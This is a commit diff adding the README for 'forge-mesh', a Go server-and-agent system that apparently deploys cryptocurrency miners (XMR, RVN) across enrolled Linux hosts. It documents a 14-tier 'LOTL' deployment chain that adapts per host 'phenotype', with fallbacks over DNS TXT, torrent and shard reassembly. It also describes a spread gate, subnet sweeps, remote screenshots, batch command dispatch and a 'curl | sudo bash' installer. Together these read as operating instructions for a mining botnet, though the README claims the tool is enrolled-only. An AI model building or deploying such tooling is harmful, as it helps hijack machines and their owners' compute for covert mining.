Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev

2026-07-04 09:31:23 +00:00
commit 3678b199d0
154 changed files with 21714 additions and 0 deletions
--- a/README.md
+++ b/README.md
@@ -0,0 +1,538 @@
+# AetherForge Linux (forge-mesh)
+
+Self-hosted Linux control plane for fleets of enrolled machines. Single Go binary with an embedded React frontend, stratum mining proxy, 14-tier deployment chain, and optional AI-assisted remediation court.
+
+---
+
+## Table of Contents
+
+- [Architecture](#architecture)
+- [Components](#components)
+- [Prerequisites](#prerequisites)
+- [Quick Start](#quick-start)
+- [Portable USB Deck](#portable-usb-deck)
+- [Configuration](#configuration)
+- [Building](#building)
+- [Installing Agents](#installing-agents)
+- [Command Deck (Web UI)](#command-deck-web-ui)
+- [API Reference](#api-reference)
+- [14-Tier Deployment Chain](#14-tier-deployment-chain)
+- [Mining & Stratum Proxy](#mining--stratum-proxy)
+- [Singular Machine Court](#singular-machine-court)
+- [Alerts (Telegram)](#alerts-telegram)
+- [Networking](#networking)
+- [systemd Deployment](#systemd-deployment)
+- [Testing](#testing)
+- [Environment Variables](#environment-variables)
+- [Known Limits](#known-limits)
+- [Security Notes](#security-notes)
+- [Project Layout](#project-layout)
+
+---
+
+## Architecture
+
+```
+┌─────────────────────────────────────────────┐
+│            forge-mesh-server                │
+│  ┌──────────────┐   ┌──────────────────┐    │
+│  │  React SPA   │   │   REST / WS API  │    │
+│  │  (embedded)  │◄──│   /api/v1/...    │    │
+│  └──────────────┘   └────────┬─────────┘    │
+│  ┌───────────┐  ┌──────────┐ │ ┌──────────┐ │
+│  │  SQLite   │  │  Fleet   │ │ │ Stratum  │ │
+│  │   Store   │  │   Hub    │ │ │  Proxy   │ │
+│  └───────────┘  └──────────┘ │ └──────────┘ │
+└─────────────────────────────┼───────────────┘
+                              │ WebSocket / HTTP
+           ┌──────────────────┼──────────────┐
+           │  forge-mesh-agent (per host)    │
+           │  ┌───────────┐  ┌────────────┐  │
+           │  │  Mining   │  │  Tier /    │  │
+           │  │  Chain    │  │  Beacon    │  │
+           │  └───────────┘  └────────────┘  │
+           └─────────────────────────────────┘
+```
+
+**Server** — serves the embedded SPA, REST+WebSocket API, SQLite state, stratum proxy, and optional AI court.
+
+**Agent** — persistent WebSocket to the deck (falls back to HTTP beacon), tiered mining chain, handles `pause`/`resume`/`reboot`/`screenshot`/`mining_profile` commands, polls for signed self-updates.
+
+---
+
+## Components
+
+| Binary | Purpose |
+|--------|---------|
+| `forge-mesh-server` | Control plane: API, web UI, SQLite, stratum proxy, court |
+| `forge-mesh-agent` | Per-host agent: mining chain, WebSocket heartbeat, command handler |
+| `forge-mesh-forge` | CLI: cross-compile and sign agent binaries, record in DB |
+
+---
+
+## Prerequisites
+
+**Required**
+
+| Requirement | Notes |
+|-------------|-------|
+| Go 1.22+ | `make` targets use `/opt/go/bin/go`; override with `GO=` |
+| gcc / build-essential | CGO required for `go-sqlite3` |
+| Node.js + npm | Only needed to rebuild the Command Deck frontend |
+
+**Optional** (feature-gated)
+
+| Tool | Feature |
+|------|---------|
+| `xmrig` | Native CPU miner (simulated fallback if absent) |
+| `lolMiner` / `rigel` | GPU mining (KawPoW / RVN) |
+| `podman` or `docker` | OCI mining tier (T4, T10) |
+| `nix` | Nix flake deploy tier (T11) |
+| `wg` / `wireguard-tools` | WireGuard mesh tier (T9) |
+| `cloudflared` | Cloudflare tunnel sidecar |
+| Ollama / OpenAI-compat API | AI court deliberation |
+| `grim`, `scrot`, or `import` | Screenshot command |
+
+---
+
+## Quick Start
+
+```bash
+git clone <repo> && cd aetherforge-linux
+make all                    # build server + agent + forge CLI
+$EDITOR data/config.json    # set credentials and wallet
+make run                    # → http://localhost:8989
+```
+
+Default login: `admin` / `changeme` (change before exposing to any network).
+
+---
+
+## Portable USB Deck
+
+```bash
+# Pack (from repo root after building)
+./scripts/pack-usb.sh
+
+# Deploy
+tar -xzf dist/forge-mesh-portable-*.tar.gz && cd forge-mesh-portable-*
+$EDITOR data/config.json   # change credentials & wallet
+./LAUNCH.sh
+```
+
+`LAUNCH.sh` checks for a Cloudflare tunnel token, starts `cloudflared` as a sidecar if found, starts `forge-mesh-server`, and opens the deck in your browser.
+
+```bash
+AF_NO_BROWSER=1 ./LAUNCH.sh   # headless / SSH
+```
+
+---
+
+## Configuration
+
+`data/config.json`:
+
+```json
+{
+  "listen_addr": ":8989",
+  "data_dir": "./data",
+  "database_path": "./data/forge-mesh.db",
+  "operator_clearance": 4,
+  "auth": {
+    "basic_username": "admin",
+    "basic_password": "changeme",
+    "fleet_secret": "change-me-fleet-secret"
+  },
+  "wallet_policy": {
+    "default_wallet": "<XMR wallet address>",
+    "currency": "XMR"
+  },
+  "stratum": {
+    "xmr_listen": ":3333",
+    "rvn_listen": ":3388",
+    "upstream_xmr": "pool.supportxmr.com:3333",
+    "upstream_rvn": "stratum-ravencoin.flypool.org:3333"
+  },
+  "forge": {
+    "signing_key_path": "./data/signing.key",
+    "artifacts_dir": "./data/artifacts"
+  },
+  "court": { "ollama_url": "http://127.0.0.1:11434", "enabled": false },
+  "telegram": { "enabled": false, "bot_token": "", "chat_id": "" }
+}
+```
+
+| Key | Description |
+|-----|-------------|
+| `listen_addr` | HTTP server bind address |
+| `operator_clearance` | L0–L4; gates privileged actions |
+| `auth.fleet_secret` | Shared secret agents use for Bearer auth |
+| `wallet_policy.default_wallet` | Fallback mining wallet address |
+| `stratum.*` | Local proxy ports and upstream pool addresses |
+| `forge.signing_key_path` | ed25519 key used to sign agent builds |
+| `court.ollama_url` | Ollama base URL (requires `court.enabled: true`) |
+| `telegram.*` | Bot token + chat ID for fleet event alerts |
+
+---
+
+## Building
+
+```bash
+make server       # → bin/forge-mesh-server
+make agent        # → bin/forge-mesh-agent
+make forge        # → bin/forge-mesh-forge
+make all          # build all three
+make web-deck     # npm install + build React SPA, sync into webroot
+make deck         # web-deck + server
+make build        # go build ./... (type-check only)
+make tidy         # go mod tidy
+```
+
+**Forge CLI** — cross-compile and sign agent artifacts:
+
+```bash
+# Build linux/amd64 + linux/arm64, sign ed25519, record in DB
+./bin/forge-mesh-forge build --config data/config.json --version 1.2.0
+
+# Print signing public key (pass to agents via -pubkey or FORGE_MESH_PUBKEY)
+./bin/forge-mesh-forge pubkey --config data/config.json
+```
+
+Signed builds are served at `/api/v1/public/builds` and `/api/v1/public/download/{id}`.
+
+---
+
+## Installing Agents
+
+**One-liner summon:**
+
+```bash
+curl -fsSL http://<deck-host>:8989/install.sh | sudo bash
+```
+
+The script is rendered from `scripts/install.sh.tpl` with fleet secret, deck URL, and signing public key injected at runtime.
+
+**Manual / systemd:**
+
+```bash
+sudo mkdir -p /opt/forge-mesh
+sudo install -m 0755 bin/forge-mesh-agent /opt/forge-mesh/agent
+
+sudo tee /etc/forge-mesh/agent.env <<EOF
+FORGE_DECK_URL=http://<deck-host>:8989
+FORGE_FLEET_SECRET=<your-fleet-secret>
+FORGE_PUBKEY=<ed25519-pubkey-hex>
+EOF
+
+sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/
+sudo systemctl enable --now forge-mesh-agent
+```
+
+**Agent flags:**
+
+| Flag | Env | Description |
+|------|-----|-------------|
+| `-deck-url` | `FORGE_MESH_DECK_URL` | Deck base URL |
+| `-secret` | `FORGE_MESH_FLEET_SECRET` | Fleet bearer secret |
+| `-pubkey` | `FORGE_MESH_PUBKEY` | ed25519 public key for signed self-update |
+| `-host-id` | — | Stable host ID (persisted to data dir) |
+| `-stratum-host` | — | Stratum proxy host (default `127.0.0.1`) |
+| `-wallet` | `FORGE_WALLET` | Fallback wallet when no server profile |
+| `-data-dir` | — | Agent state dir (default `/opt/forge-mesh` or `~/.forge-mesh`) |
+
+---
+
+## Command Deck (Web UI)
+
+Develop locally:
+
+```bash
+cd web && npm install && npm run dev   # proxies /api → http://localhost:8989
+```
+
+| Route | Description |
+|-------|-------------|
+| `/login` | HTTP Basic login (credentials in `sessionStorage`) |
+| `/dashboard` | Fleet host cards, real-time hashrate, tier badges, WS health |
+| `/forge` | Trigger cross-compiled agent builds |
+| `/calibrate` | Mining profile policy editor — push profiles to fleet |
+| `/crucible` | Batch terminal — dispatch commands to enrolled hosts |
+| `/seer` | SSE event stream — live audit log of fleet and court events |
+
+---
+
+## API Reference
+
+Protected endpoints require HTTP Basic auth. Agent endpoints use `Authorization: Bearer <fleet-secret>`.
+
+### Public
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `GET` | `/api/v1/health` | Version + health check |
+| `GET` | `/install.sh` | Rendered agent install script |
+| `GET` | `/api/v1/public/builds` | List public builds |
+| `GET` | `/api/v1/public/builds/latest` | Latest public build |
+| `GET` | `/api/v1/public/download/{id}` | Download a signed artifact |
+
+### Agent (fleet secret)
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `POST` | `/api/v1/fleet/register` | Register host, returns `host_id` |
+| `POST` | `/api/v1/fleet/beacon` | HTTP fallback heartbeat |
+| `GET` | `/api/v1/ws/fleet` | WebSocket: heartbeat + command delivery |
+
+### Protected (operator)
+
+| Method | Path | Description |
+|--------|------|-------------|
+| `GET` | `/api/v1/fleet` | List all enrolled hosts |
+| `POST` | `/api/v1/fleet/{id}/command` | Dispatch a command |
+| `POST` | `/api/v1/fleet/{id}/mining-profile` | Push a mining profile |
+| `GET` | `/api/v1/fleet/{id}/lotl/timeline` | LOTL tier attempt history |
+| `POST` | `/api/v1/fleet/{id}/lotl/run` | Trigger adaptive tier run |
+| `GET` | `/api/v1/fleet/{id}/spread-gate` | Earn-before-spread gate status |
+| `GET/PUT` | `/api/v1/policy/wallet` | Get / update wallet policy |
+| `GET/PUT` | `/api/v1/policy/mining-profile` | Get / set global mining profile |
+| `POST` | `/api/v1/policy/snapshot` | Create shareable policy snapshot token |
+| `GET` | `/api/v1/forge/builds` | List all recorded builds |
+| `POST` | `/api/v1/forge/builds/trigger` | Trigger build pipeline |
+| `POST` | `/api/v1/crucible/dispatch` | Dispatch batch terminal command |
+| `GET` | `/api/v1/crucible/history` | Crucible command history |
+| `GET` | `/api/v1/seer` | SSE stream of seer events |
+| `POST` | `/api/v1/court/sessions` | Open a court session |
+| `POST` | `/api/v1/court/sessions/{id}/deliberate` | Run prosecutor/defender/judge |
+| `POST` | `/api/v1/court/sessions/{id}/verdict` | Dispatch final verdict |
+| `GET/POST` | `/api/v1/wireguard/peers` | List or add WireGuard peers |
+| `GET` | `/api/v1/wireguard/config` | Render WireGuard config |
+
+---
+
+## 14-Tier Deployment Chain
+
+Sequential fallback chain. Each tier is gated by environment recon and a patch-first check. The Atlas skip system learns which tiers fail per host phenotype and skips them on retry.
+
+| # | Type | Description |
+|---|------|-------------|
+| T1 | `ssh_key` | SSH key-based push |
+| T2 | `curl_bash` | `curl \| bash` summon |
+| T3 | `ansible_pull` | Ansible pull from control repo |
+| T4 | `podman_rootless` | Rootless Podman container |
+| T5 | `systemd_transient` | `systemd-run` transient unit |
+| T6 | `snap_flatpak` | Snap or Flatpak package |
+| T7 | `lan_cache_peer` | LAN peer cache distribution |
+| T8 | `dns_txt` | DNS TXT record bootstrap |
+| T9 | `mtls_wireguard` | mTLS mesh join over WireGuard |
+| T10 | `immutable_oci` | Immutable OCI image (Docker/Podman) |
+| T11 | `nix_flake` | Nix flake derivation |
+| T12 | `erasure_reassembly` | Reed-Solomon erasure-coded shard reassembly |
+| T13 | `fleet_torrent` | Fleet-seeded torrent distribution |
+| T14 | `offline_contingency` | Offline/USB bundle fallback |
+
+The adaptive engine reorders tiers by historical success rate per phenotype on subsequent runs.
+
+---
+
+## Mining & Stratum Proxy
+
+Built-in stratum TCP proxy relays agent miner connections to upstream pools. Miners are tried in priority order; first success becomes active.
+
+| Miner | Algo | Notes |
+|-------|------|-------|
+| `xmrig` | RandomX (XMR) | Native binary; simulated fallback if absent |
+| GPU (lolMiner/Rigel) | KawPoW (RVN) | Requires `nvidia-smi` or `rocm-smi` |
+| OCI (podman/docker) | RandomX | Pulls `xmrig/xmrig` via Podman |
+| Stratum (raw TCP) | XMR / KawPoW | Validates deck proxy path |
+
+If no miner binary is found, a mock miner keeps the chain alive with simulated hashrate. GPU tiers require proprietary drivers installed separately.
+
+---
+
+## Singular Machine Court
+
+Optional AI-assisted triage for stuck or failing hosts. Requires `court.enabled: true` and a running [Ollama](https://ollama.ai) instance (or any OpenAI-compatible API).
+
+1. **Open** — `POST /api/v1/court/sessions` starts a case for a host.
+2. **Deliberate** — gathers LOTL tier evidence and runs three `llama3.2` prompts:
+   - **Prosecutor**: argues for aggressive remediation.
+   - **Defender**: argues for conservative retry.
+   - **Judge**: synthesises a concise operational verdict.
+3. **Verdict** — L4 clearance operator approves; supported actions:
+   - `retry_adaptive_tiers` — re-runs the deploy chain with adaptive ordering.
+   - `pause_host` — marks the host paused.
+
+All transcripts and verdicts persist in SQLite and emit as Seer events. Without Ollama, court runs in stub mode with placeholder responses.
+
+---
+
+## Alerts (Telegram)
+
+```json
+"telegram": { "enabled": true, "bot_token": "TOKEN", "chat_id": "CHAT_ID" }
+```
+
+Fires on fleet commands dispatched, court verdicts, and significant fleet events.
+
+---
+
+## Networking
+
+### Cloudflare Tunnel
+
+`cloudflared` runs as an external sidecar (not in-process). Provide a token and `LAUNCH.sh` handles the rest:
+
+```bash
+echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt
+./LAUNCH.sh
+```
+
+Or set `AF_TUNNEL_TOKEN` in the environment. `LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`.
+
+### WireGuard Mesh (operator-managed)
+
+AetherForge does **not** auto-provision WireGuard. Configure it yourself:
+
+```bash
+apt install wireguard wireguard-tools
+wg genkey | tee data/wg-private.key | wg pubkey > data/wg-public.key
+```
+
+`/etc/wireguard/forge-mesh.conf`:
+
+```ini
+[Interface]
+PrivateKey = <deck-private-key>
+Address = 10.66.0.1/24
+ListenPort = 51820
+
+[Peer]
+PublicKey = <agent-public-key>
+AllowedIPs = 10.66.0.2/32
+```
+
+```bash
+sudo systemctl enable --now wg-quick@forge-mesh
+```
+
+Point agents at the deck WireGuard IP: `FORGE_MESH_DECK_URL=http://10.66.0.1:8989`. Peer records are managed via `/api/v1/wireguard/peers`.
+
+---
+
+## systemd Deployment
+
+```bash
+# Control plane
+sudo cp deploy/systemd/forge-mesh-server.service /etc/systemd/system/
+sudo mkdir -p /opt/forge-mesh && sudo cp -r bin/ data/ /opt/forge-mesh/
+sudo systemctl enable --now forge-mesh-server
+
+# Agent (on enrolled hosts)
+sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/
+sudo tee /etc/forge-mesh/agent.env <<EOF
+FORGE_DECK_URL=http://<deck-ip>:8989
+FORGE_FLEET_SECRET=<fleet-secret>
+FORGE_PUBKEY=<pubkey-hex>
+EOF
+sudo systemctl enable --now forge-mesh-agent
+```
+
+Server working directory: `/opt/forge-mesh`. Config: `/opt/forge-mesh/data/config.json`.
+
+---
+
+## Testing
+
+```bash
+# Backend
+make test                    # or: go test ./...
+
+# Frontend
+cd web && npm install
+npm run test                 # run once
+npm run test:watch           # watch mode
+npm run test:coverage        # V8 coverage
+
+# From repo root
+make test-frontend
+
+# End-to-end
+make e2e                     # or: ./scripts/e2e-test.sh
+```
+
+See [`docs/TESTING.md`](docs/TESTING.md) for MSW handlers, mock WebSocket/EventSource, and how to write new tests.
+
+---
+
+## Environment Variables
+
+| Variable | Scope | Description |
+|----------|-------|-------------|
+| `FORGE_MESH_DECK_URL` | Agent | Deck base URL |
+| `FORGE_MESH_FLEET_SECRET` | Agent | Fleet bearer secret |
+| `FORGE_MESH_PUBKEY` | Agent | ed25519 public key hex for signed self-update |
+| `FORGE_WALLET` | Agent | Fallback mining wallet |
+| `AF_TUNNEL_TOKEN` | Launcher | Cloudflare tunnel token (overrides file) |
+| `AF_TUNNEL_EXTERNAL` | Launcher | Set to `1` automatically when sidecar starts |
+| `AF_NO_BROWSER` | Launcher | Skip opening a browser |
+| `AF_CONFIG` | Launcher | Override config path |
+| `AF_DATA_DIR` | Launcher | Data directory path |
+| `AF_SERVER_BIN` | Launcher | Path to `forge-mesh-server` binary |
+| `AF_DECK_URL` | Launcher | Browser URL (default `http://localhost:8989`) |
+
+---
+
+## Known Limits
+
+See [`docs/PROBLEMS.md`](docs/PROBLEMS.md) for the full list.
+
+- **No worm-style LAN spread.** Enrolled-only; gated by earn-before-burn phenotype check.
+- **WireGuard is operator-managed.** No auto-provisioning of keys, configs, or NAT traversal.
+- **GPU tiers need drivers pre-installed.** The summon installer does not install GPU stacks.
+- **Court requires an LLM you operate.** No bundled model.
+- **SQLite is single-node.** Multi-deck HA and Postgres are out of scope.
+- **Signature verify is dev-grade.** Dev builds may skip verification with a warning.
+- **USB copies are not hardened live media.** Rotate all secrets before production use.
+
+---
+
+## Security Notes
+
+- Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck.
+- Do not commit `data/signing.key`, `data/cloudflared-token.txt`, or `data/forge-mesh.db`.
+- L0–L4 clearance gates are policy-enforced, not cryptographic. Compromised deck credentials bypass all gates.
+- USB copies carry your fleet secret — treat the device like a key.
+- Subnet sweeps (`/api/v1/fleet/subnets/sweep`) only probe operator-declared CIDRs.
+
+---
+
+## Project Layout
+
+```
+aetherforge-linux/
+├── cmd/
+│   ├── agent/          # forge-mesh-agent binary
+│   ├── forge/          # forge CLI (build/sign artifacts)
+│   └── server/         # forge-mesh-server + embedded webroot
+├── internal/
+│   ├── alerts/         # Telegram notifier
+│   ├── api/            # HTTP server, router, handlers, WS hub
+│   ├── auth/           # Basic auth, fleet secret middleware, ticket store
+│   ├── config/         # Config loader
+│   ├── court/          # Singular Machine Court + Seer event hub
+│   ├── db/             # SQLite open/migrate
+│   ├── erasure/        # Reed-Solomon erasure coding (T12)
+│   ├── fleet/          # Host store, fleet hub, tier chain, recon, atlas
+│   ├── forge/          # Build pipeline, key pair, artifact signing
+│   ├── mining/         # Mining chain, tier implementations, mock miner
+│   ├── policy/         # Mining profile policy
+│   ├── stratum/        # TCP stratum proxy (XMR + RVN)
+│   └── testutil/       # Shared test helpers
+├── web/                # React + Vite + Tailwind Command Deck
+├── deploy/systemd/     # systemd unit files
+├── scripts/            # LAUNCH.sh, pack-usb.sh, test runners, install template
+├── data/               # Runtime data (config, SQLite, signing key, artifacts)
+├── docs/               # TESTING.md, PROBLEMS.md
+├── dist/               # Packed portable tarballs
+└── Makefile
+```